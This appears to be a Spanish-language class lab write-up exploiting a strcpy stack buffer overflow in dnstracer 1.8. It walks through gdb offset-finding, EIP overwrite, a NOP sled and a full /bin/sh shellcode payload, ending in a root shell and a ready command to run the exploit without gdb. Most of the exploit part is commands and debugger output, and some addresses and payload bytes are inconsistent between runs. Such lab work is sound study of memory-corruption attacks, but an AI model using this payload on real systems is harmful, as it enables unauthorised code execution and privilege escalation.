

dnstracer

Primero se vio el código y se buscó la función donde se hace uso de la función vulnerable vista en clase: strcpy.

```
ubuntu@ubuntu: ~/dnstracer-1.8
break;

case 'v':
    verbose=1;
    break;

default:
    usage();
}
}
argc-=optind;
argv+=optind;

if (argv[0]==NULL) usage();

// check for a trailing dot
strcpy(argv0,argv[0]);
if (argv0[strlen(argv[0])-1]=='.') argv0[strlen(argv[0])-1]=0;

printf("Tracing to %s[%s] via %s, maximum of %d retries\n",
       argv0,rr_types[global_querytype],server_name,global_retries);

srandom(time(NULL));
:
```

Hice una búsqueda binaria hasta encontrar el número de caracteres que generan la violación de segmento. Esto se realizó viendo el header dnstracer_broken.h y el máximo valor de argv0, que es de 1024.

```
int main(int argc,char **argv) {
    int      ch;
    char *    server_name="127.0.0.1";
    char *    server_ip="0000:0000:0000:0000:0000:0000:0000:0000";
    char      ipaddress[NS_MAXDNAME];
    char      argv0[NS_MAXDNAME];
    int       server_root=0;
    int       ipv6=0;
```



(END)

[illegible]

disassemble main

```
0x08048ad0 <+0>:      push    ebp
0x08048ad1 <+1>:      mov     ebp,esp
0x08048ad3 <+3>:      push    edi
0x08048ad4 <+4>:      push    esi
0x08048ad5 <+5>:      push    ebx
```

b *main+1190

```
---Type <return> to continue, or q <return> to quit---
```

```
(gdb) b *main+1190
```

```
Breakpoint 1 at 0x8048f76: file dnstracer.c, line 1573.
```

```
(gdb) b Breakpoint
(gdb) b Breakpoint
```

Sabiendo que se produce el segmentation fault con 1054 caracteres y un ilegal instruction con 1053

[illegible]

```
`python -c "print 'A'*1053+'CCCC'"`
```

```
Starting program: /home/ubuntu/dnstracer-1.8/dnstracer `python -c "print 'A'*1053+'CCCC'"`
```

```
1423 int main(int argc, char **argv) {
```



```

0x8048f72 <main+1186> pop    %ebx
0x8048f73 <main+1187> pop    %esi
0x8048f74 <main+1188> pop    %edi
0x8048f75 <main+1189> pop    %ebp
B+> 0x8048f76 <main+1190> ret
0x8048f77 <main+1191> call   0x8048870 <__res_init@plt>
0x8048f7c <main+1196> jmp    0x8048af3 <main+35>
0x8048f81 <main+1201> movl   $0xa,(%esp)
0x8048f88 <main+1208> call   0x8048a10 <putchar@plt>
0x8048f8d <main+1213> call   0x804aa80 <display_records>

```

child process 22896 In:

Breakpoint 1, main (argc=2, argv=0xbffff314) at dnstracer.c:1423

(gdb) c

Continuing.

Breakpoint 2, 0x8048f76 in main (argc=<optimized out>, argv=<optimized out>) at dnstracer.c:1573

(gdb) si

Cannot access memory at address 0x43434343

(gdb) i r eip

eip 0x43434343 0x43434343

(gdb) █

Una vez que se ve que si se sobrescribe la dirección de eip, se buscan las direcciones del argumento leído (donde se almacena el buffer de entrada) que es argv0 por la función strcpy del código dnstracer.c [strcpy(argv0,argv[0]);] con:

x/32x argv0

```

(gdb) x/32x argv0
0xbffff6eb:     0x41414141             0x41414141             0x41414141             0x41414141
0xbffff6fb:     0x41414141             0x41414141             0x41414141             0x41414141
0xbffff70b:     0x41414141             0x41414141             0x41414141             0x41414141
0xbffff71b:     0x41414141             0x41414141             0x41414141             0x41414141
0xbffff72b:     0x41414141             0x41414141             0x41414141             0x41414141
0xbffff73b:     0x41414141             0x41414141             0x41414141             0x41414141
0xbffff74b:     0x41414141             0x41414141             0x41414141             0x41414141
0xbffff75b:     0x41414141             0x41414141             0x41414141             0x41414141
(gdb) █

```

0xbffff6eb (dirección donde comienza a escribirse el contenido de argv0)

Y se prueba saltar a esa dirección:

`python -c "print 'A'*1053+'\xeb\xfb\xff\xbf'"`

eip	0xbffff6eb	0xbffff6eb	eflags	0x246	[P
cs	0x73	115	ss	0x7b	123
ds	0x7b	123	es	0x7b	123
fs	0x0	0	gs	0x33	51

```
> 0xbffff6eb    inc    %ecx
0xbffff6ec    inc    %ecx
0xbffff6ed    inc    %ecx
0xbffff6ee    inc    %ecx
0xbffff6ef    inc    %ecx
0xbffff6f0    inc    %ecx
0xbffff6f1    inc    %ecx
0xbffff6f2    inc    %ecx
0xbffff6f3    inc    %ecx
0xbffff6f4    inc    %ecx
```

child process 22738 In:

Breakpoint 1, main (argc=2, argv=0xbffff314) at dnstracer.c:1423

(gdb) c

Continuing.

Breakpoint 2, 0x08048f76 in main (argc=<optimized out>, argv=<optimized out>) at dnstracer.c:1573

(gdb) si

Cannot access memory at address 0x41414145

(gdb) i r eip

eip 0xbffff6eb 0xbffff6eb

(gdb)

Con lo anterior se logró saltar a la dirección de inicio del argv0 y se obtiene la dirección del punto donde se saltará y donde se colocará el shellcode.

Ahora se requiere que el contenido de las direcciones del buffer (inicialmente para probar el salto) sea de \x90. Por lo que se utiliza como argumento:

`python -c "print '\x90'*1053+'\xeb\xf6\xff\xbf'"`

(gdb) r `python -c "print '\x90'*1053+'\xeb\xf6\xff\xbf'"`

The program being debugged has been started already.

Start it from the beginning? (y or n)

Starting program: /home/ubuntu/dnstracer-1.8/dnstracer `python -c "print '\x90'*1053+'\xeb\xf6\xff\xbf'"`

Breakpoint 1, main (argc=2, argv=0xbffff314) at dnstracer.c:1423

(gdb)

eip	0xbffff6eb		0xbffff6eb	eflags	0x246	[PF ZF IF
cs	0x73	115		ss	0x7b	123
ds	0x7b	123		es	0x7b	123
fs	0x0	0		gs	0x33	51

> 0xbffff6eb	nop
0xbffff6ec	nop
0xbffff6ed	nop
0xbffff6ee	nop
0xbffff6ef	nop
0xbffff6f0	nop
0xbffff6f1	nop
0xbffff6f2	nop
0xbffff6f3	nop
0xbffff6f4	nop

```
child process 23192 In:
Start it from the beginning? (y or n)
Starting program: /home/ubuntu/dnstracer-1.8/dnstracer `python -c "print '\x90'*1053+'\xeb\xfb\xff\xbf'"`

Breakpoint 1, main (argc=2, argv=0xbffff314) at dnstracer.c:1423
(gdb) c
Continuing.

Breakpoint 2, 0x08048f76 in main (argc=<optimized out>, argv=<optimized out>) at dnstracer.c:1573
(gdb) si
Cannot access memory at address 0x90909094
(gdb)
```

Se ve que salta a la dirección de comienzo del buffer que tiene el opcode `\x90` que es un `nop`.

Se coloca el shellcode para obtener la shell y para, se requiere disminuir el numero de `nop`'s restando la cantidad de caracteres del shellcode de los `\x90` que causan el overflow [1053], es decir,

$1053 - \text{len}(\text{shellcode}) = 1053 - 49 = 1004$

Por lo que ahora se agrega las instrucciones del shellcode, quedando:

```
`python -c "print '\x90'*1004+'\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x4b\x4b\x4b\x4b'+'\xeb\xfb\xff\xbf'"`
```

```
(gdb) r `python -c "print '\x90'*1004+'\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x4b\x4b\x4b\x4b'+'\xeb\xfb\xff\xbf'"`
The program being debugged has been started already.
Start it from the beginning? (y or n)

Starting program: /home/ubuntu/dnstracer-1.8/dnstracer `python -c "print '\x90'*1004+'\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x4b\x4b\x4b\x4b'+'\xeb\xfb\xff\xbf'"`

Breakpoint 1, main (argc=2, argv=0xbffff314) at dnstracer.c:1423
(gdb)
```

```

b> 0xb7fed670 < dl debug state> repz ret
0xb7fed672 lea 0x0(%esi,%eiz,1),%esi
0xb7fed679 lea 0x0(%edi,%eiz,1),%edi
0xb7fed680 sub $0xc,%esp
0xb7fed683 mov %eax,%ecx
0xb7fed685 mov %ebx, (%esp)
0xb7fed688 call 0xb7ff6bab
0xb7fed68d add $0x11967,%ebx
0xb7fed693 test %edx,%edx
0xb7fed695 mov %edi,0x8(%esp)

```

child process 23343 In: dl debug state

Cannot access memory at address 0x4b4b4b4f

(gdb) c

Continuing.

process 23343 is executing new program: /bin/dash

Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.

Error in re-setting breakpoint 2: No symbol table is loaded. Use the "file" command.

Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.

Error in re-setting breakpoint 2: No symbol table is loaded. Use the "file" command.

Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.

Error in re-setting breakpoint 2: No symbol table is loaded. Use the "file" command.

#

```

b> 0xb7fed670 < dl debug state> repz ret
0xb7fed672 lea 0x0(%esi,%eiz,1),%esi
0xb7fed679 lea 0x0(%edi,%eiz,1),%edi
0xb7fed680 sub $0xc,%esp
0xb7fed683 mov %eax,%ecx
0xb7fed685 mov %ebx, (%esp)
0xb7fed688 call 0xb7ff6bab
0xb7fed68d add $0x11967,%ebx
0xb7fed693 test %edx,%edx
0xb7fed695 mov %edi,0x8(%esp)

```

child process 23697 In: dl debug state

Line: ?? PC: 0xb7fed670

Breakpoint 2, 0x00048f76 in main (argc=<optimized out>, argv=<optimized out>) at dnstracer.c:1573

(gdb) c

Continuing.

process 23697 is executing new program: /bin/dash

Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.

Error in re-setting breakpoint 2: No symbol table is loaded. Use the "file" command.

Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.

Error in re-setting breakpoint 2: No symbol table is loaded. Use the "file" command.

Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.

Error in re-setting breakpoint 2: No symbol table is loaded. Use the "file" command.

whoami

root

ls

CHANGES	MSVC.BAT	README	autoscan.log	config.log	configure.in	dnstracer.8	dnstracer.spec	install-sh	stamp-h.in
CONTACT	Makefile	a.out	config.guess	config.status	configure.scan	dnstracer.c	dnstracer_broken.h	missing	stamp-h1
FILES	Makefile.am	aclocal.m4	config.h	config.sub	depcomp	dnstracer.o	getopt.c	mkinstalldirs	
LICENSE	Makefile.in	autom4te.cache	config.h.in	configure	dnstracer	dnstracer.pod	getopt.h	stamp-h	

#

Al mandarlo como argumento en gdb, se logró obtener la shell a partir de la función strcpy y causando el desbordamiento, y saltando a alguna dirección del buffer que se cargó con la instrucción nop para ejecutar el shellcode generado y obtener una shell en el sistema.

Ejecución sin gdb:

```

./dnstracer `python -c "print '\x90'*1004+'\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x4b\x4b\x4b\x4b'+'\xeb\xf6\xff\xbf'"`

```

